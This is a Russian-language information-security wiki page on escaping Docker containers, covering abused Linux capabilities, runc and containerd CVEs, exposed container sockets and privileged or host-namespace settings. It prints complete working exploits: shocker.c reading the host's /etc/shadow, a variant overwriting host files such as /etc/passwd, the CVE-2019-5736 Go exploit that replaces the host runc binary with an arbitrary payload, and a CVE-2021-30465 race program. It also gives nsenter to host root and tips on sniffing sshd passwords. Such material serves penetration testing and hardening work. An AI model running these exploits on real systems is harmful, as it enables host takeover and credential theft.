Docker escape — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м (hostPID)
м (hostPID)
Строка 816: Строка 816:
  
 
Что там может быть интересного:
 
Что там может быть интересного:
 +
 +
0. Дает возможность просмотреть какие вообще процессы запущены на хостовой системе.
  
 
1. Файловые дескрипторы открытых файлов  - чекать все /proc/*/fd файлы, можно их прочитать  
 
1. Файловые дескрипторы открытых файлов  - чекать все /proc/*/fd файлы, можно их прочитать  

Версия 13:21, 13 марта 2022


Статья посвящена повышению привилегий из докер-контейнера в зависимости от предоставленного доступа.


SSRF

Доступ, когда можно только делать запросы по различным протоколам.

Суть в том, что в случае с SSRF можно делать запросы кроме файлов еще и на сторонние сервисы. Эти сервисы как правило запущены не в том же контейнере, а на соседнем с виртуальной сетью (это быстро настраивается с docker-compose).

Это повышение привелегий горизонтальное, но позволяет перейти на другой контейнер

Local file reading

Доступ, когда можно только читать локальные файлы контейнера.

Host volumes mount

В случае, если настройками докера были примонтированы хостовые директории, то тогда можно поискать в них критичные файлы конфигов, ключей, паролей и тд.

Например, корневая директория хостовой системы может быть доступна по адресу /host_root/.


kubernetes

environ

В контейнеры часто передают ключевую информацию в переменные окружения, поэтому советую прочитать файлы /proc/*/environ для поиска секретов.

Например, файл текущего процесса /proc/self/environ

Remote code execution

Capabilities

Получить список возможных capabilities:

1 capsh --print


Описание capabilities

Или сложнее:

1 cat /proc/self/status | grep Cap

Пример вывода:

1 CapInh: 0000000000000000
2 CapPrm: 0000003fffffffff
3 CapEff: 0000003fffffffff
4 CapBnd: 0000003fffffffff
5 CapAmb: 0000000000000000

Чтобы декодировать:

1 capsh --decode=0000003fffffffff
2 0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37

Тестовая инфраструктура для произвольной capability:

1 sudo docker run --cap-add название_capability -it ubuntu /bin/bash
2 apt update
3 apt-get install libcap2-bin gdb
4 capsh --print

CAP_SYS_ADMIN

Эта capability позволяет получить максимальные права. В своем роде alias на другие.

Позволяет зарегистрировать usermode-приложение которое запустится в контексте ядра.

Cм. CAP_SYS_MODULE capability.

CAP_SYS_PTRACE + host pid

Эксплуатация возможна только, если есть параметр --pid=host при запуске контейнера (позволяет работать с хостовыми процессами).

Тестовая инфраструктура:

1 sudo docker run --cap-add CAP_SYS_PTRACE --pid=host -it ubuntu /bin/bash
2 apt update
3 apt-get install libcap2-bin gdb
4 capsh --print


Далее по инструкции тут https://blog.pentesteracademy.com/privilege-escalation-by-abusing-sys-ptrace-linux-capability-f6e6ad2a59cc

Кратко: 1. Ищем нужный хостовой процесс (скорее всего рутовый) 2. Запускаем gdb -p PID 3. Встраиваем инструкции (шеллкод) 4. Запускаем инструкции

CAP_SYS_MODULE

Позволяет модифицировать ядро.

Тестовая инфраструктура:

1 sudo docker run --cap-add CAP_SYS_MODULE -it ubuntu /bin/bash
2 apt update
3 apt-get install libcap2-bin gdb
4 capsh --print


Инструкция по написанию модуля ядра https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd

DAC_READ_SEARCH

Позволяет прочитать содержимое файлов хостовой системы.

Тестовая инфраструктура:

1 sudo docker run --cap-add DAC_READ_SEARCH -it ubuntu /bin/bash
2 apt update
3 apt-get install libcap2-bin gdb
4 capsh --print

Инструкция по эксплуатации https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities#cap_dac_read_search


Чтение хостового файла

 1 cd /tmp
 2 apt update
 3 apt install gcc wget nano
 4 wget http://stealth.openwall.net/xSports/shocker.c
 5 
 6 # Получаете список mount и ищите файлы, которы примонтированы из хостовой системы. Как правило это .dockerinit, /etc/resolv.conf, /etc/hosts, /etc/hostname .
 7 mount 
 8 
 9 
10 # заменяете в файле shocker.c путь .dockerinit на найденный вами путь
11 # и заменяем /etc/shadow на файл который хотите прочитать
12 nano shocker.c
13 
14 # компиляция
15 gcc shocker.c
16 
17 # чтение файла
18 ./a.out

Содержимое файла shocker.c:

  1 /* shocker: docker PoC VMM-container breakout (C) 2014 Sebastian Krahmer
  2  *
  3  * Demonstrates that any given docker image someone is asking
  4  * you to run in your docker setup can access ANY file on your host,
  5  * e.g. dumping hosts /etc/shadow or other sensitive info, compromising
  6  * security of the host and any other docker VM's on it.
  7  *
  8  * docker using container based VMM: Sebarate pid and net namespace,
  9  * stripped caps and RO bind mounts into container's /. However
 10  * as its only a bind-mount the fs struct from the task is shared
 11  * with the host which allows to open files by file handles
 12  * (open_by_handle_at()). As we thankfully have dac_override and
 13  * dac_read_search we can do this. The handle is usually a 64bit
 14  * string with 32bit inodenumber inside (tested with ext4).
 15  * Inode of / is always 2, so we have a starting point to walk
 16  * the FS path and brute force the remaining 32bit until we find the
 17  * desired file (It's probably easier, depending on the fhandle export
 18  * function used for the FS in question: it could be a parent inode# or
 19  * the inode generation which can be obtained via an ioctl).
 20  * [In practise the remaining 32bit are all 0 :]
 21  *
 22  * tested with docker 0.11 busybox demo image on a 3.11 kernel:
 23  *
 24  * docker run -i busybox sh
 25  *
 26  * seems to run any program inside VMM with UID 0 (some caps stripped); if
 27  * user argument is given, the provided docker image still
 28  * could contain +s binaries, just as demo busybox image does.
 29  *
 30  * PS: You should also seccomp kexec() syscall :)
 31  * PPS: Might affect other container based compartments too
 32  *
 33  * $ cc -Wall -std=c99 -O2 shocker.c -static
 34  */
 35 
 36 #define _GNU_SOURCE
 37 #include <stdio.h>
 38 #include <sys/types.h>
 39 #include <sys/stat.h>
 40 #include <fcntl.h>
 41 #include <errno.h>
 42 #include <stdlib.h>
 43 #include <string.h>
 44 #include <unistd.h>
 45 #include <dirent.h>
 46 #include <stdint.h>
 47 
 48 
 49 struct my_file_handle {
 50 	unsigned int handle_bytes;
 51 	int handle_type;
 52 	unsigned char f_handle[8];
 53 };
 54 
 55 
 56 
 57 void die(const char *msg)
 58 {
 59 	perror(msg);
 60 	exit(errno);
 61 }
 62 
 63 
 64 void dump_handle(const struct my_file_handle *h)
 65 {
 66 	fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
 67 	        h->handle_type);
 68 	for (int i = 0; i < h->handle_bytes; ++i) {
 69 		fprintf(stderr,"0x%02x", h->f_handle[i]);
 70 		if ((i + 1) % 20 == 0)
 71 			fprintf(stderr,"\n");
 72 		if (i < h->handle_bytes - 1)
 73 			fprintf(stderr,", ");
 74 	}
 75 	fprintf(stderr,"};\n");
 76 }
 77 
 78 
 79 int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
 80 {
 81 	int fd;
 82 	uint32_t ino = 0;
 83 	struct my_file_handle outh = {
 84 		.handle_bytes = 8,
 85 		.handle_type = 1
 86 	};
 87 	DIR *dir = NULL;
 88 	struct dirent *de = NULL;
 89 
 90 	path = strchr(path, '/');
 91 
 92 	// recursion stops if path has been resolved
 93 	if (!path) {
 94 		memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
 95 		oh->handle_type = 1;
 96 		oh->handle_bytes = 8;
 97 		return 1;
 98 	}
 99 	++path;
100 	fprintf(stderr, "[*] Resolving '%s'\n", path);
101 
102 	if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
103 		die("[-] open_by_handle_at");
104 
105 	if ((dir = fdopendir(fd)) == NULL)
106 		die("[-] fdopendir");
107 
108 	for (;;) {
109 		de = readdir(dir);
110 		if (!de)
111 			break;
112 		fprintf(stderr, "[*] Found %s\n", de->d_name);
113 		if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
114 			fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
115 			ino = de->d_ino;
116 			break;
117 		}
118 	}
119 
120 	fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
121 
122 
123 	if (de) {
124 		for (uint32_t i = 0; i < 0xffffffff; ++i) {
125 			outh.handle_bytes = 8;
126 			outh.handle_type = 1;
127 			memcpy(outh.f_handle, &ino, sizeof(ino));
128 			memcpy(outh.f_handle + 4, &i, sizeof(i));
129 
130 			if ((i % (1<<20)) == 0)
131 				fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
132 			if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
133 				closedir(dir);
134 				close(fd);
135 				dump_handle(&outh);
136 				return find_handle(bfd, path, &outh, oh);
137 			}
138 		}
139 	}
140 
141 	closedir(dir);
142 	close(fd);
143 	return 0;
144 }
145 
146 
147 int main()
148 {
149 	char buf[0x1000];
150 	int fd1, fd2;
151 	struct my_file_handle h;
152 	struct my_file_handle root_h = {
153 		.handle_bytes = 8,
154 		.handle_type = 1,
155 		.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
156 	};
157 
158 	fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014             [***]\n"
159 	       "[***] The tea from the 90's kicks your sekurity again.     [***]\n"
160 	       "[***] If you have pending sec consulting, I'll happily     [***]\n"
161 	       "[***] forward to my friends who drink secury-tea too!      [***]\n\n<enter>\n");
162 
163 	read(0, buf, 1);
164 
165 	// get a FS reference from something mounted in from outside
166 	if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0)
167 		die("[-] open");
168 
169 	if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0)
170 		die("[-] Cannot find valid handle!");
171 
172 	fprintf(stderr, "[!] Got a final handle!\n");
173 	dump_handle(&h);
174 
175 	if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
176 		die("[-] open_by_handle");
177 
178 	memset(buf, 0, sizeof(buf));
179 	if (read(fd2, buf, sizeof(buf) - 1) < 0)
180 		die("[-] read");
181 
182 	fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf);
183 
184 	close(fd2); close(fd1);
185 
186 	return 0;
187 }


DAC_OVERRIDE

Позволяет прочитать содержимое файлов хостовой системы.

Тестовая инфраструктура:

1 sudo docker run --cap-add DAC_OVERRIDE -it ubuntu /bin/bash
2 apt update
3 apt-get install libcap2-bin gdb
4 capsh --print

Запись хостового файла

Инструкция альтернативная DAC_READ_SEARCH, но запускать надо так ./a.out <путь_хостового_файла> <путь_докер_файла>

Хостовой файл будет перезаписан докер-файлом.

  1 #include <stdio.h>
  2 #include <sys/types.h>
  3 #include <sys/stat.h>
  4 #include <fcntl.h>
  5 #include <errno.h>
  6 #include <stdlib.h>
  7 #include <string.h>
  8 #include <unistd.h>
  9 #include <dirent.h>
 10 #include <stdint.h>
 11 
 12 // gcc shocker_write.c -o shocker_write
 13 // ./shocker_write /etc/passwd passwd 
 14 
 15 struct my_file_handle {
 16   unsigned int handle_bytes;
 17   int handle_type;
 18   unsigned char f_handle[8];
 19 };
 20 void die(const char * msg) {
 21   perror(msg);
 22   exit(errno);
 23 }
 24 void dump_handle(const struct my_file_handle * h) {
 25   fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
 26     h -> handle_type);
 27   for (int i = 0; i < h -> handle_bytes; ++i) {
 28     fprintf(stderr, "0x%02x", h -> f_handle[i]);
 29     if ((i + 1) % 20 == 0)
 30       fprintf(stderr, "\n");
 31     if (i < h -> handle_bytes - 1)
 32       fprintf(stderr, ", ");
 33   }
 34   fprintf(stderr, "};\n");
 35 } 
 36 int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
 37 {
 38   int fd;
 39   uint32_t ino = 0;
 40   struct my_file_handle outh = {
 41     .handle_bytes = 8,
 42     .handle_type = 1
 43   };
 44   DIR * dir = NULL;
 45   struct dirent * de = NULL;
 46   path = strchr(path, '/');
 47   // recursion stops if path has been resolved
 48   if (!path) {
 49     memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
 50     oh -> handle_type = 1;
 51     oh -> handle_bytes = 8;
 52     return 1;
 53   }
 54   ++path;
 55   fprintf(stderr, "[*] Resolving '%s'\n", path);
 56   if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
 57     die("[-] open_by_handle_at");
 58   if ((dir = fdopendir(fd)) == NULL)
 59     die("[-] fdopendir");
 60   for (;;) {
 61     de = readdir(dir);
 62     if (!de)
 63       break;
 64     fprintf(stderr, "[*] Found %s\n", de -> d_name);
 65     if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
 66       fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
 67       ino = de -> d_ino;
 68       break;
 69     }
 70   }
 71   fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
 72   if (de) {
 73     for (uint32_t i = 0; i < 0xffffffff; ++i) {
 74       outh.handle_bytes = 8;
 75       outh.handle_type = 1;
 76       memcpy(outh.f_handle, & ino, sizeof(ino));
 77       memcpy(outh.f_handle + 4, & i, sizeof(i));
 78       if ((i % (1 << 20)) == 0)
 79         fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
 80       if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
 81         closedir(dir);
 82         close(fd);
 83         dump_handle( & outh);
 84         return find_handle(bfd, path, & outh, oh);
 85       }
 86     }
 87   }
 88   closedir(dir);
 89   close(fd);
 90   return 0;
 91 }
 92 int main(int argc, char * argv[]) {
 93   char buf[0x1000];
 94   int fd1, fd2;
 95   struct my_file_handle h;
 96   struct my_file_handle root_h = {
 97     .handle_bytes = 8,
 98     .handle_type = 1,
 99     .f_handle = {
100       0x02,
101       0,
102       0,
103       0,
104       0,
105       0,
106       0,
107       0
108     }
109   };
110   fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
111     "[***] The tea from the 90's kicks your sekurity again. [***]\n"
112     "[***] If you have pending sec consulting, I'll happily [***]\n"
113     "[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
114   read(0, buf, 1);
115   // get a FS reference from something mounted in from outside
116   if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
117     die("[-] open");
118   if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
119     die("[-] Cannot find valid handle!");
120   fprintf(stderr, "[!] Got a final handle!\n");
121   dump_handle( & h);
122   if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
123     die("[-] open_by_handle");
124   char * line = NULL;
125   size_t len = 0;
126   FILE * fptr;
127   ssize_t read;
128   fptr = fopen(argv[2], "r");
129   while ((read = getline( & line, & len, fptr)) != -1) {
130     write(fd2, line, read);
131   }
132   printf("Success!!\n");
133   close(fd2);
134   close(fd1);
135   return 0;
136 }

CAP_SYS_RAWIO

CAP_SYSLOG

CAP_NET_RAW

Возможность отправлять низкоуровневые пакеты.

Скорее всего применимо только для MITM-атак, в следствие которых возможно повышение привилегий на других серверах.

Требуется проброшенный интерфейс хостовой машины, иначе атаки придется проводить на NAT докер контейнеров.

CAP_NET_ADMIN

Аналогично CAP_NET_RAW

CVE

Общий список CVE - https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list

Runc exploit (CVE-2019-5736)

Уязвимые версии: <=1.0-rc6

Техника перезаписывает /bin/sh хостовой системы, поэтому любой кто запустит docker exec, стриггерит нашу полезную нагрузку.

Ссылка на эксплоит https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go :

 1 package main
 2 
 3 // Implementation of CVE-2019-5736
 4 // Created with help from @singe, @_cablethief, and @feexd.
 5 // This commit also helped a ton to understand the vuln
 6 // https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
 7 import (
 8 	"fmt"
 9 	"io/ioutil"
10 	"os"
11 	"strconv"
12 	"strings"
13 	"flag"
14 )
15 
16 
17 var shellCmd string
18 
19 func init() {
20 	flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
21 	flag.Parse()
22 }
23 
24 func main() {
25 	// This is the line of shell commands that will execute on the host
26 	var payload = "#!/bin/bash \n" + shellCmd
27 	// First we overwrite /bin/sh with the /proc/self/exe interpreter path
28 	fd, err := os.Create("/bin/sh")
29 	if err != nil {
30 		fmt.Println(err)
31 		return
32 	}
33 	fmt.Fprintln(fd, "#!/proc/self/exe")
34 	err = fd.Close()
35 	if err != nil {
36 		fmt.Println(err)
37 		return
38 	}
39 	fmt.Println("[+] Overwritten /bin/sh successfully")
40 
41 	// Loop through all processes to find one whose cmdline includes runcinit
42 	// This will be the process created by runc
43 	var found int
44 	for found == 0 {
45 		pids, err := ioutil.ReadDir("/proc")
46 		if err != nil {
47 			fmt.Println(err)
48 			return
49 		}
50 		for _, f := range pids {
51 			fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
52 			fstring := string(fbytes)
53 			if strings.Contains(fstring, "runc") {
54 				fmt.Println("[+] Found the PID:", f.Name())
55 				found, err = strconv.Atoi(f.Name())
56 				if err != nil {
57 					fmt.Println(err)
58 					return
59 				}
60 			}
61 		}
62 	}
63 
64 	// We will use the pid to get a file handle for runc on the host.
65 	var handleFd = -1
66 	for handleFd == -1 {
67 		// Note, you do not need to use the O_PATH flag for the exploit to work.
68 		handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
69 		if int(handle.Fd()) > 0 {
70 			handleFd = int(handle.Fd())
71 		}
72 	}
73 	fmt.Println("[+] Successfully got the file handle")
74 
75 	// Now that we have the file handle, lets write to the runc binary and overwrite it
76 	// It will maintain it's executable flag
77 	for {
78 		writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
79 		if int(writeHandle.Fd()) > 0 {
80 			fmt.Println("[+] Successfully got write handle", writeHandle)
81 			fmt.Println("[+] The command executed is" + payload)
82 			writeHandle.Write([]byte(payload))
83 			return
84 		}
85 	}
86 }

Команда для сборки:

1 [+] Overwritten /bin/sh successfully

После запуска эксплоита ждите надпись

1 go build main.go

После появления надписи нужно чтобы на хостовой системе запустили следующую команду которая стриггерит вашу полезную нагрузку:

1 docker exec -it <container-name> /bin/sh

Runc exploit (CVE-2021-30465)

Уязвимые версии: <=1.0.0-rc94


Уязвимость позволяет примонтировать файловую систему, которая используя симлинки примонтируется за пределы rootfs.

http://blog.champtar.fr/runc-symlink-CVE-2021-30465/

Лучше подробнее почитать по ссылке тк у контейнеров должна быть очень специфичная конфигурация.

1. Создаем симлинк

1 ln -s / /test2/test2

2. Собираем эксплоит ( http://blog.champtar.fr/runc-symlink-CVE-2021-30465/ )

 1 #define _GNU_SOURCE
 2 #include <fcntl.h>
 3 #include <stdio.h>
 4 #include <stdlib.h>
 5 #include <sys/types.h>
 6 #include <sys/stat.h>
 7 #include <unistd.h>
 8 #include <sys/syscall.h>
 9 
10 int main(int argc, char *argv[]) {
11     if (argc != 4) {
12         fprintf(stderr, "Usage: %s name1 name2 linkdest\n", argv[0]);
13         exit(EXIT_FAILURE);
14     }
15     char *name1 = argv[1];
16     char *name2 = argv[2];
17     char *linkdest = argv[3];
18 
19     int dirfd = open(".", O_DIRECTORY|O_CLOEXEC);
20     if (dirfd < 0) {
21         perror("Error open CWD");
22         exit(EXIT_FAILURE);
23     }
24 
25     if (mkdir(name1, 0755) < 0) {
26         perror("mkdir failed");
27         //do not exit
28     }
29     if (symlink(linkdest, name2) < 0) {
30         perror("symlink failed");
31         //do not exit
32     }
33 
34     while (1)
35     {
36         renameat2(dirfd, name1, dirfd, name2, RENAME_EXCHANGE);
37     }
38 }

и компилируем

1 gcc race.c -O3 -o race

3. В цикле запускаем эксплоит

1 seq 1 4 | xargs -n1 -P4 -I{} ./race mnt{} mnt-tmp{} /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/

4. Во втором шелле запустите в цикле обновление контейнера

1 for c in {2..20}; do
2   kubectl set image pod attack c$c=ubuntu:latest
3 done

5. Проверьте результат (в /test1/zzz будет смонтирован корень хоста)

1 for c in {2..20}; do
2   echo ~~ Container c$c ~~
3   kubectl exec -ti pod/attack -c c$c -- ls /test1/zzz
4 done

Runc exploit (CVE-2019-19921)

Уязвимые версии: <1.0.0-rc10

https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html


Containerd exploit (CVE-2019-41103)

Уязвимые версии: <1.4.11, < 1.5.7

Эксплоита не вижу, но описание тут https://github.com/containerd/containerd/security/advisories/GHSA-c2h3-6mxw-7mvq

Sockets

Docker Sockets

Суть в том, что при некорректной настройке docker socket может быть доступен из контейнера.

Это позволяет выполнять стандартные docker команды на хостовой системе.

1 find / -name docker.sock 2>/dev/null
2 # Как правило будет /run/docker.sock

Если docker.sock будет лежать по адресу /var/run/docker.sock то можно использовать стандартную команду docker.

Иначе потребуется использовать команду

1 docker -H unix:///path/to/docker.sock ...

Другой вариант - через http запросы:

1 curl -s --unix-socket /var/run/docker.sock http:/containers/json

или через TCP-socket

1 curl -s http://<host>:<port>/containers/json

Другие команды по работе с docker socket можно найти тут https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket

rktlet socket

unix:///var/run/rktlet.sock


frakti socket

unix:///var/run/frakti.sock


cri-o socket

unix:///var/run/crio/crio.sock


containerd socket

unix:///run/containerd/containerd.sock


dockershim socket

unix:///var/run/dockershim.sock


Privileged container

Примонтированные директории

В зависимости от того, какая директория примонтирована, можно работать с файловой системой хоста.

Зависит от фантазии хакера. Может быть доступ например к /etc/ или к /root/.

hostPID

Позволяет получить доступ к процессам директории /proc/

Что там может быть интересного:

0. Дает возможность просмотреть какие вообще процессы запущены на хостовой системе.

1. Файловые дескрипторы открытых файлов - чекать все /proc/*/fd файлы, можно их прочитать

2. Секреты в env - /proc/*/environ

3. Убивать процессы и вызывать DoS

4. Под вопросом - читать память процессов например sshd и сниффать пароли (например утилитой 3snake).


privileged

Частный случай, когда контейнер является привилегированным.

Тогда достаточно заюзать следующую команду и перейти в рута хоста:

1 nsenter --target 1 --mount --uts --ipc --net --pid -- bash

hostNetwork

Позволяет взаимодействовать с сетью хоста.

Например, прослушивать трафик или MITM-атаки проводить.

Для этого достаточно юзать например tcpdump -i eth0

Примеры атак:

- https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/

- https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/


Общие вектора:

1. Сниффать трафик

2. Доступ к сервисам на localhost

3. Обход политик network (kubernetes).

hostIPC

Inter-Process Communication Mechanisms

Позволяет работать с каналами передачи между процессами.

Примеров мало, но советуют следующее:

1. Проверить /dev/shm/ на наличие общих ресурсов памяти по которым идет общение

2. Проверить IPC-facilities используя команду "ipcs -a"

Ссылки